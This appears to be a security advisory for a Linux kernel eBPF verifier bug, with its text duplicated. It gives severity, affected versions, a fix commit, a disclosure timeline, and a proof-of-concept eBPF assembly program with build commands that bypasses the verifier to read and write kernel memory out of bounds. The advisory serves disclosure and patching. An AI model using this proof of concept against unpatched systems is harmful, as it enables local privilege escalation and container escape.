Linux Kernel: eBPF verifier bug
Summary
A bug in the eBPF Verifier branch pruning logic can lead to unsafe code paths being incorrectly marked as safe. As demonstrated in the exploitation section, this can be leveraged to get arbitrary read/write in kernel memory, leading to LPE and Container escape.
Severity
Moderate - An adversary with CAP_BPF or CAP_SYS_ADMIN can gain arbitrary Linux kernel R/W in at least linux kernel 5.4 and above.
Proof of Concept
`
llvm-mc-15 -triple bpf -filetype=obj -o repro.o repro.s
llvm-objcopy-15 -O binary repro.o repro.bin
.text
.globl func
.p2align 3
func:
r6 = 0x400
r7 = 0
r8 = 0
r9 = 0x80000000
r6 %= 0x401
goto bb0
bb0:
if r6 <= r9 goto bb1
r6 %= 1
r9 = 0
bb1:
if r6 <= r9 goto epilogue0
r6 = 0
epilogue0:
r0 = 0
*(u32 *)(r10 - 4) = r0
ld_pseudo r4 0x1 0x3
r1 = r4
r2 = r10
r2 += -4
call 0x1
if r0 != 0 goto epilogue1
exit
epilogue1:
r6 >>= 10
r6 *= 8192
r1 = r0
r0 += r6
r3 = *(u64 *)(r0 + 0)
*(u64 *)(r1 + 0) = r3
exit:
exit
`
Further Analysis
Fix - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=71b547f561247897a0a14f3082730156c0533fed
Timeline
Date reported: 3/31/2023
**Date...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Kernel Product | >= 5.4, < ReferenceFurtherAnalysis | ReferenceFurtherAnalysis |
Details and references
### Summary A bug in the eBPF Verifier branch pruning logic can lead to unsafe code paths being incorrectly marked as safe. As demonstrated in the exploitation section, this can be leveraged to get arbitrary read/write in kernel memory, leading to LPE and Container escape. ### Severity Moderate - An adversary with CAP_BPF or CAP_SYS_ADMIN can gain arbitrary Linux kernel R/W in at least linux kernel 5.4 and above. ### Proof of Concept ``` # llvm-mc-15 -triple bpf -filetype=obj -o repro.o repro.s # llvm-objcopy-15 -O binary repro.o repro.bin .text .globl func .p2align 3 func: r6 = 0x400 r7 = 0 r8 = 0 r9 = 0x80000000 r6 %= 0x401 goto bb0 bb0: if r6 <= r9 goto bb1 r6 %= 1 r9 = 0 bb1: if r6 <= r9 goto epilogue0 r6 = 0 epilogue0: r0 = 0 *(u32 *)(r10 - 4) = r0 ld_pseudo r4 0x1 0x3 r1 = r4 r2 = r10 r2 += -4 call 0x1 if r0 != 0 goto epilogue1 exit epilogue1: r6 >>= 10 r6 *= 8192 r1 = r0 r0 += r6 r3 = *(u64 *)(r0 + 0) *(u64 *)(r1 + 0) = r3 exit: exit ``` ### Further Analysis Fix - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=71b547f561247897a0a14f3082730156c0533fed ### Timeline **Date reported**: 3/31/2023 **Date fixed**: 4/19/2023 **Date disclosed**: 6/29/2023
- Severity from
- GitHub (reviewed advisory)